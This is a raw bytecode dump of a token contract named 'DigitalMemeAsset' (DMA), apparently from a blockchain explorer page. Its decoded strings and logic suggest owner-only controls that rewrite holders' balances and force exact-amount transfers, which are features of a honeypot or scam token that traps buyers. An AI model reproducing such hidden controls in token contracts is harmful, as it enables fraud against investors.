0a7757610a76611c2d565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae790611ca8565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd0b84698f0ba38c686072a2a45b9fa75f428daca5bd1d226f87123243e86c6f88286604051610bc0929190611cc8565b60405180910390a250508080610bd590611cf1565b915050610a59565b505050565b6040518060400160405280601081526020017f4469676974616c4d656d6541737365740000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c6c6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610c8a610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd790611ba1565b60405180910390fd5b60005b83839050811015610d6c578160036000868685818110610d0657610d05611c2d565b5b9050602002016020810190610d1b91906115f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610d6490611cf1565b915050610ce3565b50505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600381526020017f444d410000000000000000000000000000000000000000000000000000000000815250905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610e5a6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecd90611d85565b60405180910390fd5b6000610ee8610ee36111c6565b610d9c565b90506000811115610f3657808314610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c90611a15565b60405180910390fd5b5b8260026000610f436111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8c9190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fe29190611a69565b925050819055508373ffffffffffffffffffffffffffffffffffffffff166110086111c6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161104d91906113ad565b60405180910390a3600191505092915050565b6012600a61106e91906118aa565b620186a061107c91906118f5565b81565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61110e6111c6565b73ffffffffffffffffffffffffffffffffffffffff1661112c610e22565b73ffffffffffffffffffffffffffffffffffffffff1614611182576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117990611b0f565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156112085780820151818401526020810190506111ed565b60008484015250505050565b6000601f19601f8301169050919050565b6000611230826111ce565b61123a81856111d9565b935061124a8185602086016111ea565b61125381611214565b840191505092915050565b600060208201905081810360008301526112788184611225565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112bf82611294565b9050919050565b6112cf816112b4565b81146112da57600080fd5b50565b6000813590506112ec816112c6565b92915050565b6000819050919050565b611305816112f2565b811461131057600080fd5b50565b600081359050611322816112fc565b92915050565b6000806040838503121561133f5761133e61128a565b5b600061134d858286016112dd565b925050602061135e85828601611313565b9150509250929050565b60008115159050919050565b61137d81611368565b82525050565b60006020820190506113986000830184611374565b92915050565b6113a7816112f2565b82525050565b60006020820190506113c2600083018461139e565b92915050565b6000806000606084860312156113e1576113e061128a565b5b60006113ef868287016112dd565b9350506020611400868287016112dd565b925050604061141186828701611313565b9150509250925092565b600060ff82169050919050565b6114318161141b565b82525050565b600060208201905061144c6000830184611428565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61148f82611214565b810181811067ffffffffffffffff821117156114ae576114ad611457565b5b80604052505050565b60006114c1611280565b90506114cd8282611486565b919050565b600067ffffffffffffffff8211156114ed576114ec611457565b5b602082029050602081019050919050565b600080fd5b6000611516611511846114d2565b6114b7565b90508083825260208201905060208402830185811115611539576115386114fe565b5b835b81811015611562578061154e88826112dd565b84526020840193505060208101905061153b565b5050509392505050565b600082601f83011261158157611580611452565b5b8135611591848260208601611503565b91505092915050565b600080604083850312156115b1576115b061128a565b5b600083013567ffffffffffffffff8111156115cf576115ce61128f565b5b6115db8582860161156c565b92505060206115ec85828601611313565b9150509250929050565b60006020828403121561160c5761160b61128a565b5b600061161a848285016112dd565b91505092915050565b600080fd5b60008083601f84011261163e5761163d611452565b5b8235905067ffffffffffffffff81111561165b5761165a611623565b5b602083019150836020820283011115611677576116766114fe565b5b9250929050565b6000806000604084860312156116975761169661128a565b5b600084013567ffffffffffffffff8111156116b5576116b461128f565b5b6116c186828701611628565b935093505060206116d486828701611313565b9150509250925092565b6116e7816112b4565b82525050565b600060208201905061170260008301846116de565b92915050565b6000806040838503121561171f5761171e61128a565b5b600061172d858286016112dd565b925050602061173e858286016112dd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117ce578086048111156117aa576117a9611748565b5b60018516156117b95780820291505b80810290506117c785611777565b945061178e565b94509492505050565b6000826117e757600190506118a3565b816117f557600090506118a3565b816001811461180b576002811461181557611844565b60019150506118a3565b60ff84111561182757611826611748565b5b8360020a91508482111561183e5761183d611748565b5b506118a3565b5060208310610133831016604e8410600b84101617156118795782820a90508381111561187457611873611748565b5b6118a3565b6118868484846001611784565b9250905081840481111561189d5761189c611748565b5b81810290505b9392505050565b60006118b5826112f2565b91506118c08361141b565b92506118ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117d7565b905092915050565b6000611900826112f2565b915061190b836112f2565b9250828202611919816112f2565b915082820484148315176119305761192f611748565b5b5092915050565b7f416c6c6f77616e6365206c696d69742065786365656465640000000000000000600082015250565b600061196d6018836111d9565b915061197882611937565b602082019050919050565b6000602082019050818103600083015261199c81611960565b9050919050565b7f456e666f72636564207472616e7366657220616d6f756e74206d69736d61746360008201527f6800000000000000000000000000000000000000000000000000000000000000602082015250565b60006119ff6021836111d9565b9150611a0a826119a3565b604082019050919050565b60006020820190508181036000830152611a2e816119f2565b9050919050565b6000611a40826112f2565b9150611a4b836112f2565b9250828203905081811115611a6357611a62611748565b5b92915050565b6000611a74826112f2565b9150611a7f836112f2565b9250828201905080821115611a9757611a96611748565b5b92915050565b7f556e617574686f72697a6564206163636573732e2050726f70726965746f722060008201527f6f6e6c792e000000000000000000000000000000000000000000000000000000602082015250565b6000611af96025836111d9565b9150611b0482611a9d565b604082019050919050565b60006020820190508181036000830152611b2881611aec565b9050919050565b7f556e617574686f72697a6564206163636573732e204f726967696e61746f722060008201527f6578636c75736976652e00000000000000000000000000000000000000000000602082015250565b6000611b8b602a836111d9565b9150611b9682611b2f565b604082019050919050565b60006020820190508181036000830152611bba81611b7e565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000611bf7601b836111d9565b9150611c0282611bc1565b602082019050919050565b60006020820190508181036000830152611c2681611bea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420616464726573732070726f76696465640000000000000000600082015250565b6000611c926018836111d9565b9150611c9d82611c5c565b602082019050919050565b60006020820190508181036000830152611cc181611c85565b9050919050565b6000604082019050611cdd600083018561139e565b611cea602083018461139e565b9392505050565b6000611cfc826112f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d2e57611d2d611748565b5b600182019050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000611d6f6014836111d9565b9150611d7a82611d39565b602082019050919050565b60006020820190508181036000830152611d9e81611d62565b905091905056fea264697066735822122016c1b704f02d5847ba1c84d92018914bd42029c5e670cdc2af3c064675ed577564736f6c63430008110033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.